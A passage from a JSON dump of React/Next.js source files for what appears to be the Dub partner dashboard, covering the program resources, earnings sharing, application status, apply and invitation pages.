<div\n                key={idx}\n                className=\"my-1 h-[39px] w-full animate-pulse rounded-md bg-neutral-200\"\n              />\n            ))}\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/resources/page-client.tsx",
    "content": "\"use client\";\n\nimport useProgramResources from \"@/lib/swr/use-program-resources\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ResourceCard } from \"@/ui/partners/resources/resource-card\";\nimport { ResourceSection } from \"@/ui/partners/resources/resource-section\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { FileContent, FileZip2, Link4, Palette2, Post } from \"@dub/ui/icons\";\nimport {\n  formatFileSize,\n  getApexDomain,\n  getFileExtension,\n  getPrettyUrl,\n  GOOGLE_FAVICON_URL,\n} from \"@dub/utils\";\n\nconst emptyStateIcons = [Post, Palette2, FileZip2, Link4];\n\nexport function ResourcesPageClient() {\n  const { resources, isLoading, isValidating } = useProgramResources();\n\n  const isEmpty =\n    !isLoading &&\n    [\"logos\", \"colors\", \"files\", \"links\"].every(\n      (resource) => !resources?.[resource]?.length,\n    );\n\n  return (\n    <PageWidthWrapper className=\"pb-10\">\n      {isLoading || !isEmpty ? (\n        <div className=\"flex flex-col gap-10\">\n          {(isLoading || !!resources?.logos?.length) && (\n            <ResourceSection\n              resource=\"logo\"\n              title=\"Brand logos\"\n              isLoading={isLoading}\n              isValidating={isValidating}\n            >\n              {resources?.logos?.map((logo) => (\n                <ResourceCard\n                  key={logo.id}\n                  resourceType=\"logo\"\n                  icon={\n                    <div className=\"relative size-8 overflow-hidden\">\n                      <img\n                        src={logo.url}\n                        alt=\"thumbnail\"\n                        className=\"size-full object-contain\"\n                      />\n                    </div>\n                  }\n                  title={logo.name || \"Logo\"}\n                  description={`${getFileExtension(logo.url) || \"Unknown\"}・${formatFileSize(logo.size, 0)}`}\n                  downloadUrl={logo.url}\n                />\n              ))}\n            </ResourceSection>\n          )}\n\n          {(isLoading || !!resources?.links?.length) && (\n            <ResourceSection\n              resource=\"link\"\n              title=\"Links\"\n              isLoading={isLoading}\n              isValidating={isValidating}\n            >\n              {resources?.links?.map((link) => (\n                <ResourceCard\n                  key={link.id}\n                  resourceType=\"link\"\n                  icon={\n                    <div className=\"flex size-full items-center justify-center bg-neutral-50\">\n                      <img\n                        src={`${GOOGLE_FAVICON_URL}${getApexDomain(link.url)}`}\n                        alt={link.name}\n                        className=\"size-6 rounded-full object-contain\"\n                      />\n                    </div>\n                  }\n                  title={link.name}\n                  description={getPrettyUrl(link.url)}\n                  visitUrl={link.url}\n                />\n              ))}\n            </ResourceSection>\n          )}\n\n          {(isLoading || !!resources?.colors?.length) && (\n            <ResourceSection\n              resource=\"color\"\n              title=\"Colors\"\n              isLoading={isLoading}\n              isValidating={isValidating}\n            >\n              {resources?.colors?.map((color) => (\n                <ResourceCard\n                  key={color.id}\n                  resourceType=\"color\"\n                  icon={\n                    <div\n                      className=\"size-full\"\n                      style={{ backgroundColor: color.color }}\n                    />\n                  }\n                  title={color.name || \"Color\"}\n                  description={color.color.toUpperCase()}\n                  copyText={color.color.toUpperCase()}\n                />\n              ))}\n            </ResourceSection>\n          )}\n\n          {(isLoading || !!resources?.files?.length) && (\n            <ResourceSection\n              resource=\"file\"\n              title=\"Additional files\"\n              isLoading={isLoading}\n              isValidating={isValidating}\n            >\n              {resources?.files?.map((file) => (\n                <ResourceCard\n                  key={file.id}\n                  resourceType=\"file\"\n                  icon={\n                    <div className=\"flex size-full items-center justify-center bg-neutral-50\">\n                      <FileContent className=\"size-4 text-neutral-800\" />\n                    </div>\n                  }\n                  title={file.name || \"File\"}\n                  description={`${getFileExtension(file.url) || \"Unknown\"}・${formatFileSize(file.size, 0)}`}\n                  downloadUrl={file.url}\n                />\n              ))}\n            </ResourceSection>\n          )}\n        </div>\n      ) : (\n        <AnimatedEmptyState\n          title=\"Resources\"\n          description=\"When this program adds resources, they'll appear here\"\n          cardContent={(idx) => {\n            const Icon = emptyStateIcons[idx % emptyStateIcons.length];\n            return (\n              <>\n                <Icon className=\"size-4 text-neutral-700\" />\n                <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              </>\n            );\n          }}\n        />\n      )}\n    </PageWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/resources/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { ResourcesPageClient } from \"./page-client\";\n\nexport default function ResourcesPage() {\n  return (\n    <PageContent title=\"Resources\">\n      <ResourcesPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/share-earnings-modal.tsx",
    "content": "\"use client\";\n\nimport { IntervalOptions } from \"@/lib/analytics/types\";\nimport { Button, LoadingSpinner, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { X } from \"lucide-react\";\nimport { Dispatch, SetStateAction, useEffect, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\n\nconst BACKGROUND_OPTIONS = [\n  {\n    id: \"light\",\n    previewImage: \"https://assets.dub.co/cms/bg-share-select-1.png\",\n  },\n  {\n    id: \"dark\",\n    previewImage: \"https://assets.dub.co/cms/bg-share-select-2.png\",\n  },\n] as const;\n\ntype BackgroundType = (typeof BACKGROUND_OPTIONS)[number][\"id\"];\n\ntype ShareEarningsModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  programId: string;\n  start?: Date;\n  end?: Date;\n  interval: IntervalOptions;\n  timeseries?: { start: string; earnings: number }[];\n};\n\nexport function ShareEarningsModal({\n  showModal,\n  setShowModal,\n  programId,\n  start,\n  end,\n  interval,\n  timeseries,\n}: ShareEarningsModalProps) {\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"max-w-lg\"\n    >\n      <ShareEarningsModalInner\n        setShowModal={setShowModal}\n        programId={programId}\n        start={start}\n        end={end}\n        interval={interval}\n        timeseries={timeseries}\n      />\n    </Modal>\n  );\n}\n\nfunction ShareEarningsModalInner({\n  setShowModal,\n  programId,\n  start,\n  end,\n  interval,\n  timeseries,\n}: Omit<ShareEarningsModalProps, \"showModal\">) {\n  const [background, setBackground] = useState<BackgroundType>(\"light\");\n  const [isLoading, setIsLoading] = useState(false);\n  const [blob, setBlob] = useState<Blob | null>(null);\n\n  const imageUrl = useMemo(\n    () =>\n      `/api/og/partner-earnings?${new URLSearchParams({\n        programId,\n        background,\n        interval,\n        ...(start && { start: start.toISOString() }),\n        ...(end && { end: end.toISOString() }),\n      }).toString()}`,\n    [programId, background, interval, start, end],\n  );\n\n  useEffect(() => {\n    if (!programId) return;\n\n    const abortController = new AbortController();\n\n    setIsLoading(true);\n    setBlob(null);\n    fetch(imageUrl, { signal: abortController.signal })\n      .then((res) =>\n        res.blob().then((blob) => {\n          setBlob(blob);\n          setIsLoading(false);\n        }),\n      )\n      .catch((err) => {\n        if (err.name === \"AbortError\") return;\n        toast.error(\"Failed to prepare chart image for sharing\");\n        setIsLoading(false);\n      });\n\n    return () => abortController.abort();\n  }, [imageUrl, programId]);\n\n  const handleCopy = async () => {\n    if (!blob) return;\n\n    try {\n      const clipboardItem = new ClipboardItem({\n        [blob.type]: blob,\n      });\n\n      await navigator.clipboard.write([clipboardItem]);\n\n      toast.success(\"Copied to clipboard\");\n    } catch (err) {\n      console.error(\"Failed to copy image: \", err);\n      toast.error(\"Failed to copy image to clipboard\");\n    }\n  };\n\n  const handleDownload = () => {\n    if (!blob) return;\n\n    const blobUrl = URL.createObjectURL(blob);\n\n    const link = document.createElement(\"a\");\n    link.href = blobUrl;\n    link.download = `earnings-chart.png`;\n\n    document.body.appendChild(link);\n    link.click();\n\n    document.body.removeChild(link);\n    URL.revokeObjectURL(blobUrl);\n  };\n\n  return (\n    <div className=\"flex flex-col gap-2 px-5 py-3\">\n      <div className=\"flex items-center justify-between\">\n        <h3 className=\"text-lg font-medium\">Share chart</h3>\n        <button\n          type=\"button\"\n          onClick={() => setShowModal(false)}\n          className=\"group rounded-lg p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n        >\n          <X className=\"size-5\" />\n        </button>\n      </div>\n\n      <div className=\"border-border-subtle scrollbar-hide max-h-[calc(100dvh-280px)] overflow-y-auto rounded-xl border\">\n        <div className=\"relative aspect-[1368/994] w-full\">\n          {isLoading && (\n            <div className=\"absolute inset-0 flex items-center justify-center\">\n              <LoadingSpinner />\n            </div>\n          )}\n          {imageUrl && (\n            <img\n              src={imageUrl}\n              alt=\"Earnings chart\"\n              className={cn(\n                \"relative size-full rounded-xl object-contain\",\n                isLoading && \"opacity-0\",\n              )}\n            />\n          )}\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-between pb-1 pt-2\">\n        <div className=\"flex items-center gap-2\">\n          {BACKGROUND_OPTIONS.map((option) => (\n            <button\n              key={option.id}\n              type=\"button\"\n              onClick={() => setBackground(option.id)}\n              className={cn(\n                \"relative size-6 overflow-hidden rounded-full transition-all\",\n                option.id === \"light\" && \"border-2 border-neutral-200\",\n                background === option.id &&\n                  \"ring-2 ring-neutral-900 ring-offset-2\",\n              )}\n            >\n              <img\n                src={option.previewImage}\n                alt={`${option.id} background`}\n                className=\"size-full object-cover\"\n              />\n            </button>\n          ))}\n        </div>\n\n        <div className=\"flex items-center gap-2\">\n          <Button\n            text=\"Copy\"\n            variant=\"secondary\"\n            disabled={isLoading || !blob}\n            onClick={handleCopy}\n            className=\"h-9 w-fit rounded-lg\"\n          />\n          <Button\n            text=\"Download\"\n            disabled={isLoading || !blob}\n            onClick={handleDownload}\n            className=\"h-9 w-fit rounded-lg\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/unapproved-program-page.tsx",
    "content": "import { withdrawPartnerApplicationAction } from \"@/lib/actions/partners/withdraw-partner-application\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { ProgramEnrollmentProps } from \"@/lib/types\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { Button, StatusBadge } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { ReactNode } from \"react\";\nimport { toast } from \"sonner\";\n\nconst states: Record<\n  string,\n  (programEnrollment: ProgramEnrollmentProps) => {\n    title: string;\n    description: ReactNode;\n  }\n> = {\n  pending: (programEnrollment) => ({\n    title: \"Application in review\",\n    description: (\n      <>\n        You'll be notified by email when{\" \"}\n        <strong>{programEnrollment.program.name}</strong> has finished reviewing\n        your application.\n      </>\n    ),\n  }),\n  banned: () => ({\n    title: \"Program unavailable\",\n    description: \"You have been banned from this program.\",\n  }),\n  rejected: () => ({\n    title: \"Application rejected\",\n    description:\n      \"Your application has been rejected. You can re-apply in 30 days.\",\n  }),\n};\n\nexport function UnapprovedProgramPage({\n  programEnrollment,\n}: {\n  programEnrollment: ProgramEnrollmentProps;\n}) {\n  const router = useRouter();\n\n  const { title, description } = (\n    states?.[programEnrollment.status] ?? states.pending\n  )(programEnrollment);\n\n  const badge = PartnerStatusBadges[programEnrollment.status];\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Withdraw Application\",\n    description: `Are you sure you want to withdraw your application for ${programEnrollment.program.name}? This will delete your application completely and you'll have to re-apply if you want to join again.`,\n    confirmText: \"Withdraw application\",\n    onConfirm: async () => {\n      try {\n        await withdrawPartnerApplicationAction({\n          programId: programEnrollment.programId,\n        });\n        mutatePrefix(\"/api/partner-profile/programs\");\n        router.push(\"/programs\");\n        toast.success(\"Application withdrawn successfully\");\n      } catch (error) {\n        console.error(\"Error withdrawing application:\", error);\n        toast.error(\"Failed to withdraw application. Please try again.\");\n      }\n    },\n  });\n\n  return (\n    <PageContent title=\"Application\">\n      <PageWidthWrapper>\n        <div className=\"flex min-h-[calc(100vh-10rem)] flex-col items-center justify-center py-10 text-center\">\n          <StatusBadge\n            variant={badge.variant}\n            icon={badge.icon}\n            className=\"px-1.5 py-0.5\"\n          >\n            {badge.label}\n          </StatusBadge>\n          <h2 className=\"text-content-default mt-4 text-base font-semibold\">\n            {title}\n          </h2>\n          <p className=\"text-content-subtle [&_strong]:text-content-default mt-2 max-w-sm text-balance text-sm font-medium [&_strong]:font-semibold\">\n            {description}{\" \"}\n            {programEnrollment.status === \"banned\" && (\n              <>\n                <Link\n                  href={`/messages/${programEnrollment.program.slug}`}\n                  className=\"text-neutral-500 underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-800\"\n                >\n                  Reach out to the {programEnrollment.program.name} team\n                </Link>{\" \"}\n                if you have any questions.\n              </>\n            )}\n          </p>\n\n          {/* Withdraw button - only show for pending applications */}\n          {programEnrollment.status === \"pending\" && (\n            <div className=\"mt-6\">\n              <Button\n                variant=\"secondary\"\n                text=\"Withdraw Application\"\n                onClick={() => setShowConfirmModal(true)}\n                className=\"h-8 px-2.5\"\n              />\n            </div>\n          )}\n        </div>\n      </PageWidthWrapper>\n\n      {confirmModal}\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/apply/page.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { programLanderSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { BLOCK_COMPONENTS } from \"@/ui/partners/lander/blocks\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { redirect } from \"next/navigation\";\nimport { CSSProperties } from \"react\";\nimport { ProgramSidebar } from \"./program-sidebar\";\n\nexport const revalidate = 3600; // 1 hour\n\nexport default async function ProgramDetailsPage(props: {\n  params: Promise<{ programSlug: string }>;\n}) {\n  const params = await props.params;\n\n  const { programSlug } = params;\n\n  const program = await getProgram({\n    slug: programSlug,\n    groupSlug: DEFAULT_PARTNER_GROUP.slug,\n  });\n\n  if (!program || !program.group || !program.group.applicationFormPublishedAt) {\n    redirect(\"/programs\");\n  }\n\n  return (\n    <PageContent>\n      <PageWidthWrapper className=\"mb-10 mt-4\">\n        <BackLink href=\"/programs\">Programs</BackLink>\n        <div className=\"mt-8 grid grid-cols-1 gap-x-16 gap-y-10 lg:grid-cols-[300px_minmax(0,600px)]\">\n          <ProgramSidebar\n            program={program}\n            applicationRewards={program.rewards}\n            applicationDiscount={program.discount}\n          />\n          <div>\n            <div\n              className=\"relative\"\n              style={\n                {\n                  \"--brand\": \"#000000\",\n                  \"--brand-ring\": \"rgb(from var(--brand) r g b / 0.2)\",\n                } as CSSProperties\n              }\n            >\n              {/* Hero section */}\n              <div className=\"grid grid-cols-1 gap-5\">\n                <h1 className=\"text-4xl font-semibold\">\n                  Join the {program.name} affiliate program\n                </h1>\n                <p className=\"text-base text-neutral-700\">\n                  Share {program.name} with your audience and for each\n                  subscription generated through your referral, you'll earn a\n                  share of the revenue on any plans they purchase.\n                </p>\n              </div>\n\n              {/* Content blocks */}\n              {program.group.landerData && (\n                <div className=\"mt-10 grid grid-cols-1 gap-10\">\n                  {programLanderSchema\n                    .parse(program.group.landerData)\n                    .blocks.map((block, idx) => {\n                      const Component = BLOCK_COMPONENTS[block.type];\n                      return Component ? (\n                        <Component\n                          key={idx}\n                          block={block}\n                          group={program.group}\n                        />\n                      ) : null;\n                    })}\n                </div>\n              )}\n            </div>\n          </div>\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/apply/program-sidebar.tsx",
    "content": "\"use client\";\n\nimport { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport {\n  DiscountProps,\n  GroupBountySummaryProps,\n  ProgramProps,\n  RewardProps,\n} from \"@/lib/types\";\nimport { applicationRequirementsSchema } from \"@/lib/zod/schemas/programs\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { useProgramApplicationSheet } from \"@/ui/partners/program-application-sheet\";\nimport { ProgramEligibilityCard } from \"@/ui/partners/program-eligibility-card\";\nimport { BlurImage, Button, CircleCheck, Link4, StatusBadge } from \"@dub/ui\";\nimport { capitalize, cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport { useMemo, useState } from \"react\";\n\nexport function ProgramSidebar({\n  program,\n  applicationRewards,\n  applicationDiscount,\n}: {\n  program: ProgramProps & {\n    group?: {\n      id: string;\n      bounties?: GroupBountySummaryProps[];\n    } | null;\n  };\n  applicationRewards: RewardProps[];\n  applicationDiscount: DiscountProps | null;\n}) {\n  const { partner } = usePartnerProfile();\n  const { programEnrollment } = useProgramEnrollment({\n    swrOpts: {\n      keepPreviousData: true,\n      shouldRetryOnError: (err) => err.status !== 404,\n      revalidateOnFocus: false,\n    },\n  });\n\n  const applicationRequirements = program.applicationRequirements\n    ? applicationRequirementsSchema.parse(program.applicationRequirements)\n    : null;\n\n  const { reason } = evaluateApplicationRequirements({\n    applicationRequirements,\n    context: {\n      country: partner?.country,\n      email: partner?.email,\n    },\n  });\n\n  const requirementsNotMet =\n    reason === \"requirementsNotMet\"\n      ? \"You do not meet the eligibility requirements for this program\"\n      : undefined;\n\n  const statusBadge = programEnrollment\n    ? {\n        ...PartnerStatusBadges,\n        pending: {\n          ...PartnerStatusBadges.pending,\n          label: \"Applied\",\n        },\n      }[programEnrollment.status]\n    : null;\n\n  const [justApplied, setJustApplied] = useState(false);\n\n  const buttonText = useMemo(() => {\n    if (justApplied) return \"Applied\";\n    if (!programEnrollment) return \"Apply\";\n\n    switch (programEnrollment.status) {\n      case \"pending\":\n        return \"Applied\";\n      case \"approved\":\n        return \"Enrolled\";\n      default:\n        return capitalize(programEnrollment.status);\n    }\n  }, [justApplied, programEnrollment]);\n\n  const { programApplicationSheet, setIsOpen: setIsApplicationSheetOpen } =\n    useProgramApplicationSheet({\n      program,\n      programEnrollment,\n      onSuccess: () => setJustApplied(true),\n    });\n\n  if (programEnrollment?.status === \"invited\") {\n    redirect(`/programs/${program.slug}/invite`);\n  }\n\n  return (\n    <div>\n      {programApplicationSheet}\n      <div className=\"flex items-start justify-between gap-2\">\n        <BlurImage\n          width={128}\n          height={128}\n          src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          alt={program.name}\n          className=\"size-16 rounded-full border border-black/10\"\n        />\n        {statusBadge && (\n          <StatusBadge icon={statusBadge.icon} variant={statusBadge.variant}>\n            {statusBadge.label}\n          </StatusBadge>\n        )}\n      </div>\n      <div className=\"mt-4 flex flex-col\">\n        <span className=\"text-lg font-semibold text-neutral-800\">\n          {program.name}\n        </span>\n        {program.domain && (\n          <div className=\"flex items-center gap-1 text-neutral-500\">\n            <Link4 className=\"size-3\" />\n            <span className=\"text-base font-medium\">{program.domain}</span>\n          </div>\n        )}\n      </div>\n\n      <div className=\"mt-8\">\n        <LanderRewards\n          rewards={\n            (programEnrollment?.status === \"approved\"\n              ? programEnrollment.rewards\n              : null) ??\n            applicationRewards ??\n            program.rewards ??\n            []\n          }\n          discount={\n            programEnrollment?.discount ??\n            applicationDiscount ??\n            program.discounts?.[0] ??\n            null\n          }\n          bounties={\n            programEnrollment?.status === \"approved\" &&\n            programEnrollment.groupId !== program.group?.id\n              ? undefined\n              : program.group?.bounties\n          }\n        />\n      </div>\n\n      {applicationRequirements && applicationRequirements.length ? (\n        <ProgramEligibilityCard requirements={applicationRequirements} />\n      ) : null}\n\n      <Button\n        className={cn(\"mt-4\", justApplied && \"text-green-600\")}\n        text={buttonText}\n        icon={justApplied ? <CircleCheck className=\"size-4\" /> : undefined}\n        disabled={\n          !!programEnrollment || justApplied || !!requirementsNotMet\n            ? true\n            : undefined\n        }\n        disabledTooltip={requirementsNotMet}\n        onClick={() => setIsApplicationSheetOpen(true)}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/invite/accept-program-invite-button.tsx",
    "content": "\"use client\";\n\nimport { acceptProgramInviteAction } from \"@/lib/actions/partners/accept-program-invite\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { ProgramProps } from \"@/lib/types\";\nimport { Button, useKeyboardShortcut } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { toast } from \"sonner\";\n\nexport function AcceptProgramInviteButton({\n  program,\n}: {\n  program: Pick<ProgramProps, \"id\" | \"slug\">;\n}) {\n  const router = useRouter();\n\n  const { executeAsync: executeAcceptInvite, isPending: isAcceptingInvite } =\n    useAction(acceptProgramInviteAction, {\n      onSuccess: async () => {\n        await mutatePrefix(\"/api/partner-profile/programs\");\n        toast.success(\"Program invite accepted!\");\n        router.push(`/programs/${program.slug}`);\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError);\n      },\n    });\n\n  const acceptInvite = () => {\n    executeAcceptInvite({ programId: program.id });\n  };\n\n  useKeyboardShortcut(\"a\", acceptInvite, {\n    enabled: !isAcceptingInvite,\n  });\n\n  return (\n    <Button\n      onClick={acceptInvite}\n      loading={isAcceptingInvite}\n      text=\"Accept invite\"\n      shortcut=\"A\"\n      className=\"h-9 rounded-lg [&>div]:flex-initial\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/invite/page.tsx",
    "content": "import { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { getSession } from \"@/lib/auth\";\nimport { getGroupBountySummaries } from \"@/lib/bounty/api/get-group-bounty-summaries\";\nimport { programLanderSchema } from \"@/lib/zod/schemas/program-lander\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { BLOCK_COMPONENTS } from \"@/ui/partners/lander/blocks\";\nimport { LanderHero } from \"@/ui/partners/lander/lander-hero\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport { prisma } from \"@dub/prisma\";\nimport { Reward } from \"@dub/prisma/client\";\nimport { CircleCheckFill } from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport { AcceptProgramInviteButton } from \"./accept-program-invite-button\";\nimport { ProgramInviteConfetti } from \"./program-invite-confetti\";\n\nexport default async function ProgramInvitePage(props: {\n  params: Promise<{ programSlug: string }>;\n}) {\n  const params = await props.params;\n  const { programSlug } = params;\n\n  const { user } = await getSession();\n  if (!user) redirect(`/login?next=/programs/${programSlug}/invite`);\n\n  const program = await prisma.program.findUnique({\n    where: {\n      slug: programSlug,\n    },\n    include: {\n      partners: {\n        where: {\n          partnerId: user.defaultPartnerId,\n        },\n        include: {\n          partnerGroup: true,\n          saleReward: true,\n          leadReward: true,\n          clickReward: true,\n          discount: true,\n        },\n      },\n    },\n  });\n\n  if (!program || !program.partners.length) {\n    redirect(\"/programs\");\n  }\n\n  if (program.partners[0].status !== \"invited\") {\n    redirect(`/programs/${programSlug}`);\n  }\n\n  const {\n    partnerGroup: group,\n    clickReward,\n    leadReward,\n    saleReward,\n    discount,\n  } = program.partners[0];\n\n  if (!group) {\n    redirect(\"/programs\");\n  }\n\n  const rewards = [clickReward, leadReward, saleReward]\n    .filter((r) => r !== null)\n    .map((r) => serializeReward(r as Reward));\n\n  const bounties = await getGroupBountySummaries({\n    programId: program.id,\n    groupId: group.id,\n  });\n\n  const landerData = group.landerData\n    ? programLanderSchema.parse(group.landerData)\n    : null;\n\n  return (\n    <PageContent>\n      <div className=\"flex w-full flex-col items-center justify-center px-4 py-10\">\n        <div\n          className={cn(\n            \"relative z-0 flex items-center\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:50ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n          )}\n        >\n          <img\n            src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n            alt={program.name}\n            className=\"z-10 size-20 rotate-[-15deg] rounded-full drop-shadow-md\"\n          />\n          <img\n            src={user?.image || `${OG_AVATAR_URL}${user?.id}`}\n            alt={user?.name || \"Your avatar\"}\n            className=\"-ml-4 size-20 rotate-[15deg] rounded-full drop-shadow-md\"\n          />\n          <div className=\"absolute -bottom-2 left-1/2 z-10 -translate-x-1/2 rounded-full bg-white p-0.5\">\n            <CircleCheckFill className=\"size-8 text-green-500\" />\n          </div>\n        </div>\n\n        <div\n          className={cn(\n            \"flex w-full flex-col items-center text-center\",\n            \"animate-slide-up-fade motion-reduce:animate-fade-in [--offset:10px] [animation-delay:100ms] [animation-duration:0.5s] [animation-fill-mode:both]\",\n            \"max-w-[400px]\",\n          )}\n        >\n          <h2 className=\"text-content-default mt-4 text-pretty text-lg font-semibold\">\n            You&apos;re invited to the {program.name} affiliate program\n          </h2>\n          <p className=\"text-content-subtle text-pretty text-base font-medium\">\n            Share {program.name} with your audience and earn a share of revenue\n            on plans they purchase through your referral.\n          </p>\n\n          <div className=\"mt-4 flex w-full justify-center\">\n            <AcceptProgramInviteButton program={program} />\n          </div>\n        </div>\n      </div>\n\n      <PageWidthWrapper className=\"pb-20\">\n        <div className=\"mx-auto max-w-screen-md\">\n          <LanderHero\n            program={program}\n            landerData={landerData || {}}\n            showLabel={false}\n            className=\"mt-8 sm:mt-8\"\n            heading=\"h2\"\n            titleClassName=\"text-2xl\"\n          />\n\n          <LanderRewards\n            className=\"mt-4\"\n            rewards={rewards}\n            discount={discount}\n            bounties={bounties}\n          />\n\n          {landerData?.blocks && landerData.blocks.length > 0 && (\n            <div className=\"mt-16 grid grid-cols-1 gap-10\">\n              {landerData.blocks.map((block, idx) => {\n                const Component = BLOCK_COMPONENTS[block.type];\n                return Component ? (\n                  <Component key={idx} block={block} group={group} />\n                ) : null;\n              })}\n            </div>\n          )}\n        </div>\n      </PageWidthWrapper>\n\n      <ProgramInviteConfetti />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/invite/program-invite-confetti.tsx",
    "content": "\"use client\";\n\nimport Confetti from \"canvas-confetti\";\nimport { memo, useEffect } from \"react\";\n\nexport const ProgramInviteConfetti = memo(() => {\n  useEffect(() => {\n    [0.25, 0.5, 0.75].forEach((x) =>\n      Confetti({\n        particleCount: 50,\n        startVelocity: 90,\n        spread: 120,\n        ticks: 1000,\n        origin: { x, y: 0 },\n        disableForReducedMotion: true,\n      }),\n    );\n\n    return () => Confetti.reset();\n  }, []);\n\n  return null;\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/invitations/page-client.tsx",
    "content": "\"use client\";\n\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramCardSkeleton } from \"@/ui/partners/program-card\";\nimport { ProgramInviteCard } from \"@/ui/partners/program-invite-card\";\nimport { SimpleEmptyState } from \"@/ui/shared/simple-empty-state\";\nimport { HexadecagonStar } from \"@dub/ui/icons\";\n\nexport function ProgramInvitationsPageClient() {\n  const { programEnrollments, isLoading } = useProgramEnrollments({\n    includeRewardsDiscounts: true,\n    status: \"invited\",\n  });\n\n  return (\n    <PageWidthWrapper className=\"pb-10\">\n      {programEnrollments?.length == 0 ? (\n        <SimpleEmptyState\n          title=\"No program invitations\"\n          description=\"When a program sends you an invitation to join them, they will appear here.\"\n          graphic={\n            <div className=\"border-border-subtle flex flex-col gap-4 rounded-xl border p-3 shadow-[0_4px_12px_#0001]\">\n              <HexadecagonStar className=\"text-content-default size-6\" />\n              <div className=\"flex flex-col gap-2\">\n                <div className=\"bg-bg-emphasis h-2.5 w-8 rounded\" />\n                <div className=\"bg-bg-emphasis h-2.5 w-16 rounded\" />\n              </div>\n              <div className=\"h-5 w-40 max-w-full rounded bg-neutral-800\" />\n            </div>\n          }\n        />\n      ) : (\n        <div className=\"@md/page:grid-cols-2 @3xl/page:grid-cols-3 grid gap-4\">\n          {isLoading\n            ? Array.from({ length: 3 }).map((_, idx) => (\n                <ProgramCardSkeleton key={idx} />\n              ))\n            : programEnrollments?.map((programEnrollment, idx) => (\n                <ProgramInviteCard\n                  key={idx}\n                  programEnrollment={programEnrollment}\n                />\n              ))}\n        </div>\n      )}\n    </PageWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/invitations/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { ProgramInvitationsPageClient } from \"./page-client\";\n\nexport default function ProgramInvitationsPage() {\n  return (\n    <PageContent title=\"Invitations\">\n      <ProgramInvitationsPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
